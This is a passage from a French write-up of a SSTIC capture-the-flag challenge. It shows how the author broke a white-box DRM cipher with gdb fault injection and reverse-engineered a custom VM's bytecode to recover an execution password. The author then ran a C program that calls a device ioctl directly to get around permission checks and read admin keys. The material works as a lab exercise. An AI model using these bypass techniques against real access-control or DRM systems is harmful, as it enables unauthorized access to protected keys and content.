Les 8 premiers octets sont l'identifiant de la clef demandée et les 8 octets suivant sont le niveau de permission de l'utilisateur. Pour guest.so, le niveau de permission doit être à 0xFFFFFFFFFFFFFFFF, sinon la fonction retourne une erreur.

Elle retourne un buffer chiffré de 16 octets qui peut être envoyé au serveur DRM avec la commande 3 pour obtenir la clef correspondant à l'identifiant de clef demandé.

La fonction useVM est implémentée par une VM. Pour chaque version de guest.so, le code semble être différent.

On va utiliser gdb pour instrumenter le code de guest.so.

Bien que l'obfuscation soit différente pour chaque version de guest.so, les opérations effectuées sont identiques. Les codes des instructions changent pour chaque version de guest.so ainsi que le contenu des Lookup tables (et donc la clef de chiffrement qui est dérivée du timestamp). Mais les opérations élémentaires effectuées sont toujours les mêmes.

useVM implémente un algorithme de chiffrement en « version whiteBox ».

Les opérations élémentaires effectuées sont les suivantes :

```
S(Bi) -> Bo :       Lookup table per byte :  1 byte -> 1 byte
F(Bi, Bj) -> Bo:    Lookup table [1 byte x 1byte] -> 1 byte
M(Bi) ->Bo: Xor based mix operations
```

Le programme de chiffrement est alors le suivant :

L0 et L1 sont des vecteurs de 8 octets chacun. L0 contient le fileID à chiffrer.

A la fin du programme L0 et L1 contiennent le bloc de 16 octets chiffré.

(NB : Les Lookup tables sont différentes à chaque étape).

```
L1 = S(M(S(L0))) // L1 = F(L1, M(S(L0))) : L1  = F(0xFFFFFFFFFFFFFFFF,  M(S(L0)))
L0 = F(L0, M(S(L1))
L1 = F(L1, M(S(L0))
L0 = F(L0, M(S(L1))
L1 = F(L1, M(S(L0))
L0 = F(L0, M(S(L1))

L0,L1= G(L0,L1)

L1 = F(L1, M(S(L0))
L0 = F(L0, M(S(L1))
L1 = F(L1, M(S(L0))
L0 = F(L0, M(S(L1))
L1 = F(L1, M(S(L0))
L0 = F(L0, M(S(L1))

L0,L1= G(L0,L1)

L1 = F(L1, M(S(L0))
L0 = F(L0, M(S(L1))
L1 = F(L1, M(S(L0))
L0 = F(L0, M(S(L1))
L1 = F(L1, M(S(L0))
L0 = F(L0, M(S(L1))
```

On constate que la première ligne est différente du reste du programme. On a L1 = S(M(S(L0))) au lieu de L1 = F(L1, M(S(L0))).

En effet, le programme de guest ne peut chiffrer que Encrypt(fileID, 0xFFFFFFFFFFFFFFFF).

Donc S(B) = F(0xFFFFFFFFFFFFFFFF, B);

On voudrait pouvoir chiffrer à la place Encrypt(fileID, 0) pour avoir des requêtes en permission 0.

On peut appeler la commande 0 du serveur DRM pour déchiffrer n'importe quelle valeur. La commande 0 du serveur retourne la valeur Decrypt[TimeStamp](L0, L1).

Si on modifie un octet de L1 après l'opération L1 = S(M(S(L0))), on chiffre avec le programme guest.so et on déchiffre le résultat avec la commande 0 du DRM serveur, 1 seul octet du bloc déchiffré sera modifié. Il faut trouver la valeur de L1 pour laquelle l'octet modifié sera à 0.

Donc pour trouver la valeur Encrypt(fileID, 0x0), on va essayer les 256 valeurs possibles pour chacun des 8 octets de L1. On a seulement 256 valeurs à tester car chaque octet est indépendant des autres.

On écrit un programme pour trouver automatiquement la valeur Encrypt(fileID, 0x0). On utilise des commandes gdb pour modifier les valeurs de L1, lors du chiffrement par guest.so. Ensuite les résultats sont envoyés au serveur DRM pour trouver les valeurs qui donnent des octets du champ permissions à zéro.

Le programme est disponible en annexe.

Maintenant que nous pouvons calculer les valeurs Encrypt(fileID, 0x0), on peut demander les clefs des fichiers au serveur DRM.

On peut obtenir les clefs du folder Ambiance qui contient des MP3 de chants bretons.


```
[{"name": "5534d32f4fd6a1454d55924291fc1d179ff84521920272ae4e8ae718e0c39392.enc", "real_name": "Suite Sud Armoricaine.mp3", "type": "mp3", "perms": "00000000cc90ebfe", "ident": "1d0dfaa715724b5a"},
{"name": "581ed636bd7a1bbab890aeb1b458bb4f3bff59827afdd8582486ff0a22944aec.enc", "real_name": "Swallowtail Jig - Irish Fiddle Tune.mp3", "type": "mp3", "perms": "00000000cc90ebfe", "ident": "3a8ad6d7f95e3487"},
{"name": "1026f340ad5175f2a73d2e3513d69ffd96285ca9ec89f50629a3426e6be45b09.enc", "real_name": "The Banks of Spey -- Scottish Fiddle Tune.mp3", "type": "mp3", "perms": "00000000cc90ebfe", "ident": "325149e3fc923a77"},
{"name": "f0808dfbf75a5afaddff38574fe2bf03f2ff43b78cfca74aace782e06bc69511.enc", "real_name": "The Era of Legends.mp3", "type": "mp3", "perms": "00000000cc90ebfe", "ident": "46dcc15bcd2db798"},
{"name": "96fe4e62d09539ad93093c441766dfc0011dc824ab4b9b90f6b366cd9578ccbf.enc", "real_name": "The Lone Wolf.mp3", "type": "mp3", "perms": "00000000cc90ebfe", "ident": "4ce294122b6bd2d7"},
{"name": "11b1aef316795c3a3a440596216dd288fbee939689fad49e82d78baf52b574da.enc", "real_name": "Tri Martelod.mp3", "type": "mp3", "perms": "00000000cc90ebfe", "ident": "4145107573514dcc"},
{"name": "48e3847a2774bf900c2cda70503dab44e37b5cfe14e0367b555e246bf2e75943.enc", "real_name": "info.txt", "type": "txt", "perms": "00000000cc90ebfe", "ident": "08abda216c40b90c"}]
```


Le fichier info.txt contient le flag du niveau :

```
SSTIC{9a5914929b7947afbef39446aafacd35}
```

En revanche on n’arrive pas à obtenir les clefs de production et d’admin. Pour le folder production, le device est en mode debug. Pour le folder admin, le programme service n’envoie pas les clefs quand le niveau de permissions requis est 0.

5. Level 4 : Remote Virtual Machine

1. Les commandes 2 et 3 du serveur DRM

Command 2 : Exec VM

La commande de type 2 du « serveur DRM », permet d'exécuter un byte code sur la machine virtuelle du device PCI.

Input:

Command_type : 2	1 byte	
Enc(FileID + Perm)	16 bytes (LSBF)	
TimeStamp	4 bytes (LSBF)	
ByteCode Length : N	8 bytes (LSBF)	
ByteCode	N bytes	
Input Length : M	8 bytes (LSBF)	
Input data	M bytes	
Output Length : L	8 bytes (LSBF)	

Ouput :

Status	1 byte	4 : get Key expired 8 : OK 9: Input , code or output size is too big. 0xFE: bad perms for this req type 0xFF : Unexpected error while decrypting

If (status == OK) {
Ouput data
Debug LOG info
}
	
	L bytes
	X bytes	

Commande 3 : Exec File

La commande de type 3 du « serveur DRM », permet d'uploader un fichier exécutable sur le serveur et l'exécuter. Mais avant d'uploader le fichier exécutable, elle va exécuter un programme spécifique sur la VM du device PCI [Un bytecode de 0x301 bytes situé à l'offset 0x18f1e0 du programme service] avec en entrée les données « VM Password data ».

Elle vérifie que le résultat de l'exécution du programme sur la VM donne 48 bytes à 0xFF suivi de la chaine de caractère de 16 bytes : «EXECUTE FILE OK!».

Input :

Command_type : 3	1 byte	
Enc(FileID + Perm)	16 bytes (LSBF)	
TimeStamp	4 bytes	
VM Password data	80 bytes	
ProgFile Length : N	8 bytes (LSBF)	
ProgFile Data	N bytes	

Ouput :

Status 1	1 byte	4 : get Key expired 0x0A: Good Pass 0x0B : Wrong pass 0xFE: bad perms for this req type 0xFF : Unexpected error while decrypting

If (Status1 == Good Pass) {
Status 2
}
	1 byte	0xC : OK
		0xD : executable too big
		0xFF : Error

If (Status2 == OK) {
Exec Ouput
}
	L bytes	

2. Instructions de la VM

Pour résoudre le niveau 4, Il faut donc trouver la valeur de l'entrée « Password Data » qui donne le résultat « \xFF » *48 + «EXECUTE FILE OK!»,

La première étape est de comprendre le jeu d'instruction de la VM. Pour cela on injecte des fautes dans le programme. L'exécution s'arrête alors avec le message « Bad instruction » et un dump des registres de la VM.

La VM a 8 registres de 16 bytes. Un program Counter. Un registre de condition RC et une pile pour les appels de fonction.

```
python3 client_drm_dev_code2.py 4e 01 00 20 09 02 90 00 0c 63 70 10 4c 03 50 10

0x4E, 0x01, 0x00, 0x20, 0x09, 0x02, 0x90, 0x00, 0x0C, 0x63, 0x70, 0x10, 0x4C, 0x03,
0x50, 0x10,

---DEBUG LOG START---
Bad instruction
regs:
PC : 1070
R0 : 90909090909090909090909090909090
R1 : 00000000000000000000000000000000
R2 : 00000000000000000000000000000000
R3 : 00000000000000000000000000000000
R4 : 00000000000000000000000000000000
R5 : 00000000000000000000000000000000
R6 : 00000000000000000000000000000000
R7 : 00000000000000000000000000000000
RC : 01010101010101010101010101010101
stack: []
---DEBUG LOG END---
```

Les instructions sont codées sur 4 octets :

<InsA> < InsB> <p1> <p2>

Une instruction peut avoir 1 ou 2 opérandes.

L'opérande 1 est un registre : R[reg]

L'opérande 2 dépend du type de l'opérande codé dans le champ opType.

Opcode = insA & 0x0F	Type d'instruction
opSize = (insA & 0xF0)>>4	Longueur des opérandes : 1, 2, 4, 8, 16 bytes. Si la longueur est 2 bytes, les registres de 16 bytes comportant 8 mots de 2 bytes : les opérations sont effectuées sur chaque mot de 2 bytes. Par exemple, pour l'opcode ADD, les 8 mots de 2 bytes (LSBF) seront additionnés séparément.
opType = insB & 0x03	Type de l'opérande 2 : Op2 0: MEM[R[p1]] //memory indirect 1: MEM[p2<<8 +p1] //memory direct

	2: R[p1] // register 3: p2<<8 + p1 // constant
reg = (insB>>2) & 0x07	Registre de l'opérande 1 : R0-R7.
Mode = (insB >>5)	Mode de l'instruction.

Opcode	Mnemonic	Description
0x00	ADD	R[reg] += Op2
0x01	SUB	R[reg] -= Op2
0x02	LOADI	R[reg] = Op2
0x03	AND	R[reg] &= Op2
0x04	OR	R[reg] |= Op2
0x05	XOR	R[reg] ^= Op2
0x06	RSHIFT	R[reg] >>= Op2
0x07	LSHIFT	R[reg] <<= Op2
0x09	TEST	Compare les deux paramètres en entrée en fonction du mode. Mode 0: '==' Mode 1: '<' Mode 2: '>' Mode 3: '<=' Le registre RC est mis à jour avec le résultat du test. Les comparaisons sont effectuées en fonction de la longueur des opérandes opSize. Pour des opérandes de 16 octets, RC sera mis à 1 si le test est vrai et à 0 dans le cas contraire. Pour des opérandes de 1 octet, chacun des 16 octets seront testés séparément. Et ainsi les octets du registre RC seront mis à 0 ou 1 en fonction du résultat des 16 comparaison.
0x0A	ROTL	Rotation de bits du registre R[reg] = ROT(R[reg], op2)
0x0B	RETURN	Saut à l'adresse de retour en haut de la pile. Si la pile est vide : Fin du programme.
0x0C	JMPCOND	Saut à l'adresse op2 Mode : 0 : saut inconditionnel 1 : saut si tous les mots opSize de RC sont !=0 3: saut si RC !=0 5 : saut si tous les mots opSize de RC sont ==0 7: saut si RC ==0
0x0D	CALL	Appel de la fonction à l'adresse P2<<8+P1. L'adresse de retour est mise dans la pile.
0x0E	LOADM	R[reg] = OP2
0x0F	STOREM	OP2 = R[reg]

3. Analyse du programme

On peut alors désassembler le programme (le désassembleur est fourni en annexe).

```
code len:769
0x000:[0x4E] (mode:0x01,0,0,1) LOADM_16 REG[0] MEM  [0x2040]
0x004:[0x42] (mode:0x1B,0,6,3) LOADI_16 REG[6] 0x0000
0x008:[0x09] (mode:0x1B,0,6,3) TEST_1 REG[6] == VAL  [0x0010]
0x00C:[0x0C] (mode:0xE3,7,0,3) JMPCOND 0x1024
0x010:[0x09] (mode:0x02,0,0,2) TEST_1 REG[0] == REG [0x0006]
0x014:[0x0C] (mode:0x63,3,0,3) JMPCOND 0x101C
0x018:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x10AC
0x01C:[0x00] (mode:0x1B,0,6,3) ADD_1 REG[6] VAL  [0x0001]
0x020:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x1008
0x024:[0x4E] (mode:0x05,0,1,1) LOADM_16 REG[1] MEM  [0x0200]
0x028:[0x19] (mode:0x62,3,0,2) TEST_2 REG[0] <= REG [0x0001]
0x02C:[0x1C] (mode:0x23,1,0,3) JMPCOND 0x10AC
0x030:[0x29] (mode:0x41,2,0,1) TEST_4 REG[0] > MEM  [0x0210]
0x034:[0x2C] (mode:0xE3,7,0,3) JMPCOND 0x103C
0x038:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x10AC
0x03C:[0x39] (mode:0x21,1,0,1) TEST_8 REG[0] < MEM  [0x0220]
0x040:[0x3C] (mode:0x23,1,0,3) JMPCOND 0x10AC
0x044:[0x45] (mode:0x16,0,5,2) XOR_16 REG[5] REG [0x0005]
0x048:[0x20] (mode:0x17,0,5,3) ADD_4 REG[5] VAL  [0x070D]
0x04C:[0x27] (mode:0x17,0,5,3) LSHIFT_4 REG[5] VAL  [0x0010]
0x050:[0x20] (mode:0x17,0,5,3) ADD_4 REG[5] VAL  [0x0C00]
0x054:[0x29] (mode:0x02,0,0,2) TEST_4 REG[0] == REG [0x0005]
0x058:[0x2C] (mode:0x63,3,0,3) JMPCOND 0x1060
0x05C:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x10AC
0x060:[0x45] (mode:0x16,0,5,2) XOR_16 REG[5] REG [0x0005]
0x064:[0x20] (mode:0x17,0,5,3) ADD_4 REG[5] VAL  [0x0106]
0x068:[0x27] (mode:0x17,0,5,3) LSHIFT_4 REG[5] VAL  [0x0010]
0x06C:[0x20] (mode:0x17,0,5,3) ADD_4 REG[5] VAL  [0x020F]
0x070:[0x29] (mode:0x02,0,0,2) TEST_4 REG[0] == REG [0x0005]
0x074:[0x2C] (mode:0x63,3,0,3) JMPCOND 0x107C
0x078:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x10AC
0x07C:[0x19] (mode:0x03,0,0,3) TEST_2 REG[0] == VAL  [0x0408]
0x080:[0x1C] (mode:0x63,3,0,3) JMPCOND 0x1088
0x084:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x10AC
0x088:[0x42] (mode:0x1F,0,7,3) LOADI_16 REG[7] 0x1100
0x08C:[0x49] (mode:0x1F,0,7,3) TEST_16 REG[7] == VAL  [0x1300]
0x090:[0x4C] (mode:0xE3,7,0,3) JMPCOND 0x10A8
0x094:[0x4E] (mode:0x04,0,1,0) LOADM_16 REG[1] MEM_R [0x0007]
0x098:[0x45] (mode:0x06,0,1,2) XOR_16 REG[1] REG [0x0000]
0x09C:[0x4F] (mode:0x04,0,1,0) STOREM_16 REG[1] MEM_R [0x0007]
0x0A0:[0x40] (mode:0x1F,0,7,3) ADD_16 REG[7] VAL  [0x0010]
0x0A4:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x108C
0x0A8:[0x7D] (mode:0x03,0,0,3) CALL 0x1100
0x0AC:[0x0B] (mode:0x00,0,0,0) RETURN 0x0000
```

La première partie du programme vérifie la clef de 16 octets qui est à la fin des données en entrée.

Cette clef est utilisée pour déchiffrer la seconde partie du programme. (Par un simple XOR des 16 bytes).

Les 16 octets sont une permutation des 16 valeurs de 0x00 à 0x0F. Ensuite le programme vérifie des conditions sur la clef. Si un test échoue, le programme s'arrête.

MEM[0x200], MEM[0x210], MEM[0x220] sont des constantes.

K<=MEM[0x200] // par mot de 2 bytes.

K >MEM[0x210] // par mot de 4 bytes.

K >MEM[0x220] // par mot de 8 bytes.

Le programme vérifie enfin que les valeurs de 4 octets 0x0f020601 et 0x00c0d07 sont présentent dans la valeur de K.

Le programme python *findK.py* disponible en annexe a été écrit pour trouver la clef K par recherche exhaustive.

On trouve l'unique valeur qui passe tous les tests.

K=0x0e03050a0804090b000c0d070f020601

(NB : En fait la valeur de K était présente à la fin du programme binaire de la VM…).

On peut maintenant déchiffrer et désassembler la deuxième partie du programme.

```
0x100:[0x45] (mode:0x06,0,1,2) XOR_16 REG[1] REG [0x0001]
0x104:[0x49] (mode:0x07,0,1,3) TEST_16 REG[1] == VAL  [0x0040]
0x108:[0x4C] (mode:0xE3,7,0,3) JMPCOND 0x112C
0x10C:[0x42] (mode:0x1F,0,7,3) LOADI_16 REG[7] 0x2000
0x110:[0x42] (mode:0x1B,0,6,3) LOADI_16 REG[6] 0x3000
0x114:[0x40] (mode:0x1E,0,7,2) ADD_16 REG[7] REG [0x0001]
0x118:[0x40] (mode:0x1A,0,6,2) ADD_16 REG[6] REG [0x0001]
0x11C:[0x4E] (mode:0x00,0,0,0) LOADM_16 REG[0] MEM_R [0x0007]
0x120:[0x4F] (mode:0x00,0,0,0) STOREM_16 REG[0] MEM_R [0x0006]
0x124:[0x40] (mode:0x07,0,1,3) ADD_16 REG[1] VAL  [0x0010]
0x128:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x1104


0x12C:[0x45] (mode:0x1E,0,7,2) XOR_16 REG[7] REG [0x0007]
0x130:[0x49] (mode:0x1F,0,7,3) TEST_16 REG[7] == VAL  [0x0014]
0x134:[0x4C] (mode:0xE3,7,0,3) JMPCOND 0x1238
0x138:[0x42] (mode:0x1B,0,6,3) LOADI_16 REG[6] 0x3000
0x13C:[0x4E] (mode:0x00,0,0,0) LOADM_16 REG[0] MEM_R [0x0006]
0x140:[0x40] (mode:0x1B,0,6,3) ADD_16 REG[6] VAL  [0x0010]
0x144:[0x4E] (mode:0x04,0,1,0) LOADM_16 REG[1] MEM_R [0x0006]
0x148:[0x40] (mode:0x1B,0,6,3) ADD_16 REG[6] VAL  [0x0010]
0x14C:[0x4E] (mode:0x08,0,2,0) LOADM_16 REG[2] MEM_R [0x0006]
0x150:[0x40] (mode:0x1B,0,6,3) ADD_16 REG[6] VAL  [0x0010]
0x154:[0x4E] (mode:0x0C,0,3,0) LOADM_16 REG[3] MEM_R [0x0006]
0x158:[0x45] (mode:0x1A,0,6,2) XOR_16 REG[6] REG [0x0006]
0x15C:[0x40] (mode:0x1B,0,6,3) ADD_16 REG[6] VAL  [0x0001]
0x160:[0x43] (mode:0x1A,0,6,2) AND 0x0007
0x164:[0x45] (mode:0x16,0,5,2) XOR_16 REG[5] REG [0x0005]
0x168:[0x49] (mode:0x1A,0,6,2) TEST_16 REG[6] == REG [0x0005]
0x16C:[0x4C] (mode:0xA3,5,0,3) JMPCOND 0x1198
0x170:[0x7D] (mode:0x03,0,0,3) CALL 0x11D0
0x174:[0x42] (mode:0x1B,0,6,3) LOADI_16 REG[6] 0x3000
0x178:[0x4F] (mode:0x00,0,0,0) STOREM_16 REG[0] MEM_R [0x0006]
0x17C:[0x40] (mode:0x1B,0,6,3) ADD_16 REG[6] VAL  [0x0010]
0x180:[0x4F] (mode:0x04,0,1,0) STOREM_16 REG[1] MEM_R [0x0006]
0x184:[0x40] (mode:0x1B,0,6,3) ADD_16 REG[6] VAL  [0x0010]
0x188:[0x4F] (mode:0x08,0,2,0) STOREM_16 REG[2] MEM_R [0x0006]
0x18C:[0x40] (mode:0x1B,0,6,3) ADD_16 REG[6] VAL  [0x0010]
0x190:[0x4F] (mode:0x0C,0,3,0) STOREM_16 REG[3] MEM_R [0x0006]
0x194:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x1130
```

```
0x198:[0x2A] (mode:0x04,0,1,0) ROTL_4 REG[1] 0x0000
0x19C:[0x2A] (mode:0x08,0,2,0) ROTL_4 REG[2] 0x0000
0x1A0:[0x2A] (mode:0x08,0,2,0) ROTL_4 REG[2] 0x0000
0x1A4:[0x2A] (mode:0x0C,0,3,0) ROTL_4 REG[3] 0x0000
0x1A8:[0x2A] (mode:0x0C,0,3,0) ROTL_4 REG[3] 0x0000
0x1AC:[0x2A] (mode:0x0C,0,3,0) ROTL_4 REG[3] 0x0000
0x1B0:[0x7D] (mode:0x03,0,0,3) CALL 0x11D0
0x1B4:[0x2A] (mode:0x0C,0,3,0) ROTL_4 REG[3] 0x0000
0x1B8:[0x2A] (mode:0x08,0,2,0) ROTL_4 REG[2] 0x0000
0x1BC:[0x2A] (mode:0x08,0,2,0) ROTL_4 REG[2] 0x0000
0x1C0:[0x2A] (mode:0x04,0,1,0) ROTL_4 REG[1] 0x0000
0x1C4:[0x2A] (mode:0x04,0,1,0) ROTL_4 REG[1] 0x0000
0x1C8:[0x2A] (mode:0x04,0,1,0) ROTL_4 REG[1] 0x0000
0x1CC:[0x4C] (mode:0x03,0,0,3) JMPCOND 0x1174



0x1D0:[0x20] (mode:0x02,0,0,2) ADD_4 REG[0] REG [0x0001]
0x1D4:[0x25] (mode:0x0E,0,3,2) XOR_4 REG[3] REG [0x0000]
0x1D8:[0x42] (mode:0x16,0,5,2) LOADI_16 REG[5] 0x0003
0x1DC:[0x27] (mode:0x17,0,5,3) LSHIFT_4 REG[5] VAL  [0x0010]
0x1E0:[0x26] (mode:0x0F,0,3,3) RSHIFT_4 REG[3] VAL  [0x0010]
0x1E4:[0x24] (mode:0x0E,0,3,2) OR_4 REG[3] REG [0x0005]
0x1E8:[0x20] (mode:0x0A,0,2,2) ADD_4 REG[2] REG [0x0003]
0x1EC:[0x25] (mode:0x06,0,1,2) XOR_4 REG[1] REG [0x0002]
0x1F0:[0x42] (mode:0x16,0,5,2) LOADI_16 REG[5] 0x0001
0x1F4:[0x27] (mode:0x17,0,5,3) LSHIFT_4 REG[5] VAL  [0x000C]
0x1F8:[0x26] (mode:0x07,0,1,3) RSHIFT_4 REG[1] VAL  [0x0014]
0x1FC:[0x24] (mode:0x06,0,1,2) OR_4 REG[1] REG [0x0005]
0x200:[0x20] (mode:0x02,0,0,2) ADD_4 REG[0] REG [0x0001]
0x204:[0x25] (mode:0x0E,0,3,2) XOR_4 REG[3] REG [0x0000]
0x208:[0x42] (mode:0x16,0,5,2) LOADI_16 REG[5] 0x0003
0x20C:[0x27] (mode:0x17,0,5,3) LSHIFT_4 REG[5] VAL  [0x0008]
0x210:[0x26] (mode:0x0F,0,3,3) RSHIFT_4 REG[3] VAL  [0x0018]
0x214:[0x24] (mode:0x0E,0,3,2) OR_4 REG[3] REG [0x0005]
0x218:[0x20] (mode:0x0A,0,2,2) ADD_4 REG[2] REG [0x0003]
0x21C:[0x25] (mode:0x06,0,1,2) XOR_4 REG[1] REG [0x0002]
0x220:[0x42] (mode:0x16,0,5,2) LOADI_16 REG[5] 0x0001
0x224:[0x27] (mode:0x17,0,5,3) LSHIFT_4 REG[5] VAL  [0x0007]
0x228:[0x26] (mode:0x07,0,1,3) RSHIFT_4 REG[1] VAL  [0x0019]
0x22C:[0x24] (mode:0x06,0,1,2) OR_4 REG[1] REG [0x0005]
0x230:[0x40] (mode:0x1F,0,7,3) ADD_16 REG[7] VAL  [0x0001]
0x234:[0x0B] (mode:0x00,0,0,0) RETURN 0x0000



0x238:[0x42] (mode:0x03,0,0,3) LOADI_16 REG[0] 0x2000
0x23C:[0x42] (mode:0x0B,0,2,3) LOADI_16 REG[2] 0x0100
0x240:[0x4E] (mode:0x05,0,1,1) LOADM_16 REG[1] MEM  [0x3000]
0x244:[0x4E] (mode:0x0C,0,3,0) LOADM_16 REG[3] MEM_R [0x0002]
0x248:[0x20] (mode:0x06,0,1,2) ADD_4 REG[1] REG [0x0000]
0x24C:[0x45] (mode:0x06,0,1,2) XOR_16 REG[1] REG [0x0003]
0x250:[0x4F] (mode:0x05,0,1,1) STOREM_16 REG[1] MEM  [0x3000]
0x254:[0x40] (mode:0x03,0,0,3) ADD_16 REG[0] VAL  [0x0010]
0x258:[0x40] (mode:0x0B,0,2,3) ADD_16 REG[2] VAL  [0x0010]
0x25C:[0x4E] (mode:0x05,0,1,1) LOADM_16 REG[1] MEM  [0x3010]
0x260:[0x4E] (mode:0x0C,0,3,0) LOADM_16 REG[3] MEM_R [0x0002]
0x264:[0x20] (mode:0x06,0,1,2) ADD_4 REG[1] REG [0x0000]
0x268:[0x45] (mode:0x06,0,1,2) XOR_16 REG[1] REG [0x0003]
0x26C:[0x4F] (mode:0x05,0,1,1) STOREM_16 REG[1] MEM  [0x3010]
0x270:[0x40] (mode:0x03,0,0,3) ADD_16 REG[0] VAL  [0x0010]
0x274:[0x40] (mode:0x0B,0,2,3) ADD_16 REG[2] VAL  [0x0010]
0x278:[0x4E] (mode:0x05,0,1,1) LOADM_16 REG[1] MEM  [0x3020]
0x27C:[0x4E] (mode:0x0C,0,3,0) LOADM_16 REG[3] MEM_R [0x0002]
0x280:[0x20] (mode:0x06,0,1,2) ADD_4 REG[1] REG [0x0000]
0x284:[0x45] (mode:0x06,0,1,2) XOR_16 REG[1] REG [0x0003]
0x288:[0x4F] (mode:0x05,0,1,1) STOREM_16 REG[1] MEM  [0x3020]
0x28C:[0x40] (mode:0x03,0,0,3) ADD_16 REG[0] VAL  [0x0010]
0x290:[0x40] (mode:0x0B,0,2,3) ADD_16 REG[2] VAL  [0x0010]
0x294:[0x4E] (mode:0x05,0,1,1) LOADM_16 REG[1] MEM  [0x3030]
```

```
0x298:[0x4E] (mode:0x0C,0,3,0) LOADM_16 REG[3] MEM_R [0x0002]
0x29C:[0x20] (mode:0x06,0,1,2) ADD_4 REG[1] REG [0x0000]
0x2A0:[0x45] (mode:0x06,0,1,2) XOR_16 REG[1] REG [0x0003]
0x2A4:[0x4F] (mode:0x05,0,1,1) STOREM_16 REG[1] MEM  [0x3030]
0x2A8:[0x0B] (mode:0x00,0,0,0) RETURN 0x0000
```

On peut réécrire le programme en pseudo code :

```
func_100()
{
	memcpy(M[0x3000], M[0x2000], 0x40);
}

func_1d0()
{

	R0 += R1
	 R3 ^= R0
	 R3 = rot(R3,16)

	 R2 += R3
	 R1 ^= R2
	 R1 = rot(R1,12)

	 R0 += R1
	 R3 ^= R0
	 R3 = rot(R3,08)

	 R2 += R3
	 R1 ^= R2
	 R1 = rot(R1,07)
}

func_12c()
{

	for (R7=0; R7<0x14; R7++) {
		R0 = M[0x3000];
		R1 = M[0x3010];
		R2 = M[0x3020];
		R3 = M[0x3030];
		if (R7&1 == 1) {
			Func_1D0();
		} else {
			RotL(R1,1);
			RotL(R2,2);
			RotL(R3,3);
			Func_1D0();
			RotL(R3,1);
			RotL(R2,2);
			RotL(R1,3);
		}

		M[0x3000]=R0;
		M[0x3010]=R1;
		M[0x3020]=R2;
		M[0x3030]=R3;
}

out()
{
	M[0x3000] := (M[0x3000] +0x2000 ) ^ M[0x100];
	M[0x3010] := (M[0x3010] +0x2010 ) ^ M[0x110];
	M[0x3020] := (M[0x3020] +0x2020 ) ^ M[0x120];
	M[0x3030] := (M[0x3030] +0x2030 ) ^ M[0x130];
}

func_100();
func_12c();
```

```
out();
```

On écrit un programme python qui effectue les mêmes opérations de scrambling que le byte code de la VM : *progVM.py* .

On peut ensuite facilement inverser les opérations du programme. Le programme *invProgVM.py* effectue les opérations inverses.

On trouve les données « VM Password » qui vont donner le résultat « \xFF » *48 + «EXECUTE FILE OK!» après exécution du programme par la VM.

```
[ 0x65,0x78,0x70,0x61,0x6E,0x64,0x20,0x33,0x32,0x2D,0x62,0x79,0x74,0x65,0x20,0x6B,
  0x62,0xCC,0x27,0x3D,0xE8,0x90,0x55,0x81,0xC4,0xFA,0xC9,0x1C,0xBE,0x45,0x10,0x34,
  0x1A,0x09,0x16,0xCA,0xFA,0x05,0x14,0xF6,0x80,0xE4,0x60,0x4A,0xA8,0x97,0xBA,0xD4,
  0xAD,0x62,0xA0,0x2D,0xCD,0x9B,0x35,0x74,0x87,0xF6,0x7A,0xB4,0x71,0x34,0xB6,0x97,
  0x0E,0x03,0x05,0x0A,0x08,0x04,0x09,0x0B,0x00,0x0C,0x0D,0x07,0x0F,0x02,0x06,0x01]
```

On peut maintenant utiliser la commande 3 du « DRM serveur » et exécuter un programme sur le serveur.

On exécute le programme *readKey.c* qui appel directement la fonction ioctl getKey du device /dev/sstic. On peut ainsi contourner le programme service du DRM serveur qui nous empêchait de lire des clefs avec des permissions à 0.

```
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>

/***********************************/
int readKey(int fd, unsigned long long fileID)
{
	int res;
	int i;
	unsigned char param[32];
	unsigned long long *pfileID;

	pfileID = (unsigned long long *) param;
	*pfileID = fileID;

	res=ioctl(fd,0xc0185304, &param);
	printf("res=%d\n",res);
	printf("p0=0x%llX\n",pfileID[0]);
	for (i=0; i<24; i++) {
		printf("0x%02X ",param[i]);
	}
	printf("\n");
	printf("\n");

}
/***********************************/
int main()
{
	int fd;

	fd = open("/dev/sstic", O_RDWR);
	if (fd < 0 ) {
		printf("open failed\n");
		return(-1);
	}

	readKey(fd, 0x75edff360609c9f7); // Admin
	readKey(fd, 0xd603c7e177f13c40); // PROD


	readKey(fd, 0x59bdd204aa7112ed); // Admin/CO_favorite_clip
	readKey(fd, 0x675b9c51b9352849); // Admin/SSTIC.mp4


	readKey(fd, 0x3b2c4583a5c9e4eb ); // Admin/CO_fav/dodo.mp4
	readKey(fd, 0x58b7cbfec9e4bce3 ); // Admin/CO_fav/life_lesson.mp4
	readKey(fd, 0x272fed81eab31a41 ); // Admin/CO_fav/motivational.mp4


	readKey(fd, 0xd603c7e177f13c40); // PROD


	close(fd);

}
```

On arrive maintenant à obtenir les clefs du répertoire admin.

On peut donc décrypter le répertoire admin.

On peut y trouver le flag du niveau 4 : SSTIC{377497547367490298c33a98d84b037d}


```
[{"name": "bfed24eb16bacb67a1dd90468223f35d5d5f751ca1f1323b7943918ca2b3ae18.enc", "real_name": "CO_favorite_clip", "type":
"dir_index", "perms": "0000000000000000", "ident": "59bdd204aa7112ed"},
{"name": "6e875d839cac95d7ce50da2270064752ebf7e248e3e71498bb7ce77986d3b359.enc", "real_name":
"SSTIC{377497547367490298c33a98d84b037d}.mp4", "type": "mp4", "perms": "0000000000000000", "ident": "675b9c51b9352849"}]
```

```
[{"name": "afb5ecfa91a03b73b336136ceddcaf993cce5d4e0ac4b80dfedc6c762f2a4698.enc", "real_name": "dodo.mp4", "type": "mp4",
"perms": "0000000000000000", "ident": "3b2c4583a5c9e4eb"},
{"name": "2f2aaee1e1a6874d574601e139128d3d08125ea72f5efe0d5c158016801aed57.enc", "real_name": "life_lesson.mp4", "type":
"mp4", "perms": "0000000000000000", "ident": "58b7cbfec9e4bce3"},
{"name": "ec68a60f87f44379980ae55af80aadf8a8cb75e8b2757b841dec69fcfdc83d4c.enc", "real_name": "motivational.mp4", "type":
"mp4", "perms": "0000000000000000", "ident": "272fed81eab31a41"}]
```


